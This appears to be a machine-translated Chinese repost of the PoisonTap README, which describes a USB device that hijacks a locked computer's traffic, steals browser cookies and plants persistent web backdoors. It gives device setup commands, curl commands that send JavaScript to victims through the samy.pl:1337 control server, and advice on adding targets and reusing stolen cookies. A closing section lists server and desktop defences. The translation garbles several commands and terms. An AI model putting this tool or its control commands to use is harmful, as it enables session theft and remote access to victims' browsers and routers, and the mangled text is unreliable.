您好,登錄后才能下訂單哦!
小編給大家分享一下PoisonTap虹吸cookie的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
由@SamyKamkar創建||https://samy.pl
當PoisonTap(Raspberry Pi Zero&Node.js)插入到受鎖/受密碼保護的計算機中時,它:
通過USB(或Thunderbolt)模擬以太網設備
劫持來自機器的所有互聯網流量(盡管是低優先級/未知網絡接口)
虹吸并存儲來自網絡瀏覽器的HTTP Cookie和會話,用于Alexa前100萬個網站
將內部路由器暴露給攻擊者,使其可通過出站WebSocket和DNS重新綁定(遠程訪問Matt Austin進行重新綁定)!
在HTTP緩存中為數十萬個域和常見的Javascript CDN URL安裝一個持久的基于Web的后門,所有這些都可以通過緩存中毒訪問用戶的cookie
允許攻擊者遠程強制用戶使用任何退回的域中的用戶的Cookie進行HTTP請求和代理回復(GET&POST)
它不要求機器被解鎖
后門和遠程訪問仍然存在,即使在設備被刪除并且攻擊者之后移動
(Ara令人難以置信的HTML5畫布動畫)
PoisonTap避免了以下安全機制:
密碼保護鎖屏
路由表優先級和網絡接口服務訂單
同源政策
X-框架,選項
HttpOnly Cookies
SameSite cookie屬性
雙因素/多因素認證(2FA / MFA)
DNS固定
跨原始資源共享(CORS)
HTTPS的cookie保護當安全 cookie的標志和HSTS未啟用
PoisonTap是為$ 5 Raspberry Pi Zero而設計的,除了micro-USB電纜和microSD卡之外,還可以使用任何其他組件,或者可以使用以太網到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模擬USB小工具的其他設備上工作,如USB Armory和LAN Turtle。
視頻中的實時演示和更多詳細信息:
聯絡點: @SamyKamkar //https://samy.pl
發布日期: 2016 年 11月16日
源代碼和下載: https://github.com/samyk/poisontap
PoisonTap通過利用機器和網絡的各種機制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的現有信任來產生級聯效應,以產生信息滲透,網絡訪問和半永久后門的安裝的雪球效應。
簡而言之,PoisonTap執行以下操作:
網絡劫持
攻擊者將PoisonTap(如武器化的Raspberry Pi Zero)插入鎖定的計算機(即使計算機受密碼保護)
PoisonTap模擬以太網設備(例如,通過USB / Thunderbolt的以太網) - 默認情況下,Windows,OS X和Linux識別以太網設備,自動將其作為低優先級網絡設備加載并執行DHCP請求,即使機器被鎖定或密碼保護
PoisonTap響應DHCP請求并向機器提供IP地址,但是DHCP響應是為了告訴機器整個IPv4空間(0.0.0.0 - 255.255.255.255)是PoisonTap本地網絡的一部分,而不是一個小子網(例如192.168.0.0 - 192.168.0.255)
通常,如果輔助網絡設備連接到一臺機器,那么它將比現有的(受信任的)網絡設備的優先級低,并且不會取代網關以進行互聯網流量,這是不重要的,但是...
由于“互聯網流量”的“LAN流量”的優先級,任何路由表/網關優先級/網絡接口服務訂單安全性被繞過,
PoisonTap利用此網絡接入,甚至作為一個低優先級的網絡設備,因為該子網 A的低優先級的網絡設備比給予更高的優先級網關的的(默認路由)最高優先級的網絡設備
這意味著如果流量注定為1.2.3.4,通常這個流量會達到主(非PoisonTap)網絡設備的默認路由/網關,PoisonTap實際上會獲得流量,因為PoisonTap“本地”網絡/子網據說包含1.2 .3.4,存在的其他IP地址;)
因此,即使機器連接到具有較高優先級的網絡設備和正確的網關(真正的WiFi,以太網等),所有互聯網流量都會超過PoisonTap。
餅干虹吸
只要Web瀏覽器運行后臺,開放頁面之一可能會在后臺執行HTTP請求(例如,加載新廣告,將數據發送到分析平臺,或者只是繼續跟蹤您的網頁)運動)通過AJAX或動態腳本/ iframe標簽
您可以自己看到這一點,進入您的devtools /檢查員(通常為Cmd + Shift + I或Ctrl + Shift + I),訪問訪問量很大的網站,點擊網絡標簽,并觀看遠程資源繼續訪問即使你在頁面上沒有采取任何行動
根據此HTTP請求,由于所有流量退出到PoisonTap設備上,PoisonTap DNS即時傳播返回自己的地址,導致HTTP請求命中PoisonTap Web服務器(Node.js)
如果DNS服務器指向PoisonTap無法獲得特權的內部IP(LAN),攻擊將繼續發揮作用,因為內部DNS服務器將為各種被攻擊的域產生公共IP地址,而這是公共IP地址PoisonTap已經劫持
一旦內部DNS服務器做出響應,Web瀏覽器就會觸發公共IP,最終在任一情況下擊中PoisonTap Web服務器(Node.js)
當Node Web服務器接收到請求時,PoisonTap會響應一個可以解釋為HTML或Javascript的響應,兩者都能正常執行(許多網站將在后臺請求中加載HTML或JS)
HTML / JS不可知頁面然后生成許多隱藏的iframe,每個iframe跨不同的Alexa-top-100萬域
域名上的任何“X-Frame-Options”安全性被忽略,因為PoisonTap現在是HTTP服務器,并選擇要發送給客戶端的頭文件
隨著對站點的每個iframe HTTP請求(例如http://nfl.com/PoisonTap),HTTP Cookie從瀏覽器發送到被PoisonTap劫持的“公共IP”,它迅速記錄cookie /身份驗證信息將數萬個用戶的Cookie記錄到PoisonTap中
任何“HttpOnly”cookie安全性被繞過,并且這些cookie被捕獲,因為在域本身上沒有執行Javascript,而是僅用于首先加載iframe
任何跨原始資源共享或同源策略安全性被繞過,因為訪問域看起來對瀏覽器是合法的
因為我們正在抓取Cookie而不是憑據,所以當攻擊者使用cookie登錄時,網站上實現的任何2FA / MFA都將被繞過。這是因為我們還沒有實際執行的登錄功能,而是繼續已經登錄這不會話不會觸發雙因素身份驗證
如果服務器正在使用HTTPS,但是Cookie并未明確設置Secure Cookie標志,則HTTPS保護被繞過,并將該cookie發送到PoisonTap
可遠程訪問的基于Web的后門
雖然PoisonTap正在產生成千上萬的I幀,迫使瀏覽器加載每一個,這些iframe會并不只是空白頁面,而是HTML +的Javascript后門被無限期緩存
因為PoisonTap強制將這些后門緩存在每個域上,所以后門綁定到該域,使攻擊者能夠使用域的cookie,并在將來啟動同源請求,即使用戶當前未登錄
例如,當http://nfl.com/PoisonTap iframe加載時,PoisonTap接受轉移的Internet流量,通過Node web服務器響應HTTP請求
添加額外的HTTP頭以無限期緩存該頁面
該頁面的實際響應是HTML和Javascript的組合,它會向攻擊者的Web服務器(通過Internet而不是PoisonTap設備)生成一個持久的WebSocket,
WebSocket保持打開,允許攻擊者在將來的任何時間連接回退回機器,并執行任何具有后門實現的源代碼(Alexa的前100萬個站點 - 見下文)
如果后門在一個站點(例如,nfl.com)上打開,但用戶希望攻擊不同的域(例如pinterest.com),攻擊者可以將nfl.com上的iframe加載到pinterest.com后門(http://pinterest.com/PoisonTap)
再次,域上的任何“X框架選項”,跨原始資源共享和同源策略安全性完全被忽略,因為請求將觸發PoisonTap離開的緩存,而不是真正的域
內部路由器后門和遠程訪問
一個網絡PoisonTap不能劫持是真實網絡接口的實際LAN子網(例如,如果用戶的wifi子網為192.168.0.x,則該網絡不受影響),但...
PoisonTap強制將一個后門緩存在一個特殊的主機上,特別是目標路由器的IP前身為“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本質上是產生持久的 DNS重綁定攻擊
當使用PoisonTap作為DNS服務器(受害者使用公共DNS服務器)時,PoisonTap會臨時響應專門的PoisonTap IP(1.0.0.1),這意味著當時的任何請求都將觸發PoisonTap Web服務器
如果DNS服務器設置為內部網絡(例如192.168.0.x),則會另外特別要求1.0.0.1 **。pin。** ip.samy.pl告訴我的專用DNS服務器(在公共互聯網上)暫時響應任何[ip.address] .ip.samy.pl地址與“固定”地址(1.0.0.1)幾秒鐘
然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設置了一個后門,該漏洞目前指向1.0.0.1的PoisonTap設備,允許從PoisonTap設備訪問并緩存后門
DNS綁定和DNS重新綁定的安全性被繞過由于DNS綁定表的耗盡,由于以前成千上萬的請求,并且將來不需要重新綁定,這使得這種攻擊持續了很長一段時間(由于馬特奧斯汀與我分享這次攻擊!)
現在,一個后門被強制緩存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何將來對192.168.0.1.ip.samy.pl的請求將會打到未被解除的 IP地址,導致192.168.0.1要解決,直接指向路由器
這意味著如果通過后門遠程加載iframe中的192.168.0.1.ip.samy.pl/PoisonTap主機,您現在可以對內部路由器上的任何其他頁面執行AJAX GET / POSTs ,完全遠程,從而允許遠程訪問內部路由器
這可能導致攻擊者可能從未訪問過的路由器的其他攻擊,例如用于覆蓋DNS服務器的路由器上的默認管理員憑據,或其他身份驗證漏洞
DNS服務器的概述:
[ip.addy] .ip.samy.pl 通常用[ip.addy]
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
[ip.addy] .pin.ip.samy.pl 暫時(?5 秒)分* .ip.samy.pl到[ip.addy]
1.0.0.1.pin.ip.samy.pl - > 1.0.0.1
192.168.0.1.ip.samy.pl - > 1.0.0.1(A記錄,短TTL)
(約5秒鐘后)
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
其他可遠程訪問的基于Web的后門
此外,PoisonTap替代了成千上萬種常見的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正確的代碼加上一個后門,使攻擊者可以訪問任何加載受感染的基于CDN的Javascript文件的域
因為每個域都有一個后門,這樣就可以讓攻擊者遠程強制后退的瀏覽器在幾乎任何主要的域上執行相同的起始請求(AJAX GET / POST),即使受害者目前沒有任何打開的窗口域
后門將現在生活在任何其他網站上,當受害者訪問該網站時,還會使用這些受感染的基于HTTP的CDN Javascript框架之一
服務器端安全性
如果您正在運行一個Web服務器,那么防范PoisonTap就很簡單:
至少使用HTTPS進行認證和驗證的內容
老實說,您應該專門使用HTTPS,并始終將HTTP內容重定向到HTTPS,以防止用戶被欺騙提供憑據或通過HTTP提供其他PII
確保Cookie上啟用了安全標志,防止HTTPS Cookie通過HTTP泄漏
使用遠程JavaScript資源時,請使用Subresource Integrity腳本標記屬性
使用HSTS來防止HTTPS降級攻擊
桌面安全
將水泥添加到USB和Thunderbolt端口可以有效
每次離開機器時關閉瀏覽器都可以工作,但完全不切實際
禁用USB / Thunderbolt端口也是有效的,盡管也是不切實際的
鎖定電腦沒有任何效果,因為網絡和USB堆棧在機器被鎖定時運行,但是,進入加密睡眠模式,需要密鑰來解密內存(例如FileVault2 +深度睡眠)解決了大多數問題,作為您的瀏覽器將不再提出請求,即使喚醒
源代碼: https://github.com/samyk/poisontap
注意:如果您發現設備不是自動作為以太網控制器(例如Windows的舊版本),則可以在pi_startup.sh中更改VID和PID
#指令從https://gist.github.com/gbaman/50b6cca61dd1c3f88f41調整sudo bash#如果Raspbian BEFORE甚至-10,那么運行下一行:BRANCH = next rpi-updateecho -e “ \ nauto usb0 \ nallow-hotplug usb0 \ niface usb0 inet static \ n \ taddress 1.0.0.1 \ n \ tnetmask 0.0.0.0 ” >> / etc / network / interfaces echo “ dtoverlay = dwc2 ” >> / boot /config.txt echo -e “ dwc2 \ ng_ether ” >> / etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >> /etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update && apt-get升級apt-get -y安裝isc-dhcp-server dsniff screen nodejs
將dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后將其他文件放在/ home / pi / poisontap中,然后重新啟動以確保一切正常。
repo中有多個文件,它們在不同的方面使用。列表:
backdoor.html - 每當一個http:// hostname / PoisonTap URL被命名為exfiltrate cookies時,這個文件是作為強制緩存的內容返回的。它包含一個后門,它產生一個出站的websocket到samy.pl:1337(可調整到任何主機/端口),等待命令從服務器繼續打開。這意味著當您在網站上加載iframe(例如http:// hostname / PoisonTap)時,即使在從機器中刪除PoisonTap之后,這也是填充的內容。
backend_server.js - 這是您在Internet可訪問的服務器上運行的Node.js服務器。這是backdoor.html連接的(例如,samy.pl:1337)。這是與您連接的命令相同的服務器,以發送到您的PoisonTapped小型機器,例如
#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #設置在受害人一個cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #強制受害者通過ajax加載一個url(注意,jQuery存儲在后門) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d)\ {console.log(d)\})'
pi_poisontap.js - 這是通過Raspberry Pi Zero上的Node.js運行的,是HTTP服務器,負責處理由PoisonTap攔截的任何HTTP請求,存儲虹吸cookie,并注入緩存的后門。
pi_startup.sh - 在Raspberry Pi Zero啟動時運行,以便將設備設置為模擬USB以太網小工具,設置我們的惡意DHCP服務器,允許流量重新路由,DNS欺騙,并啟動pi_poisontap.js以上。
target_backdoor.js - 此文件是與任何CDN相關的Javascript文件,因此后門他們,例如Google CDN的jQuery網址。
target_injected_xhtmljs.html - 這是在受害者機器上注入到無意/后臺HTTP / AJAX請求中的代碼,并產生了整個攻擊。它的構造方式是將其解釋為HTML或Javascript,并仍然執行相同的代碼。另外,驚人的HTML5畫布是由令人難以置信的Ara oen CodePen,是太驚人,不包括。這是當頁面被PoisonTap接管時出現的圖形化瘋狂。
poisontap.cookies.log - 一旦用戶的機器開始向PoisonTap發送HTTP請求,就會生成此文件,并將該cookie與瀏覽器及其所屬的相關聯的URL /域一起記錄下來。
問:如何添加要退回的其他域?
target_injected_xhtmljs.html
由
getDoms()
函數設置。這本身就由
alexa1m.sh
repo根目錄中的腳本填充。如果您希望在此列表中添加其他域名,您可以簡單地修改返回呼叫
getDoms()
A:要退回的域列表
問:您如何使用捕獲的Cookie?
A:您可以直接從瀏覽器中的JavaScript控制臺使用Document.cookie API來設置Cookie。此StackOverflow文章還提供了一些Chrome特定的建議,例如Cookie檢查器Chrome擴展程序。
以上是“PoisonTap虹吸cookie的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。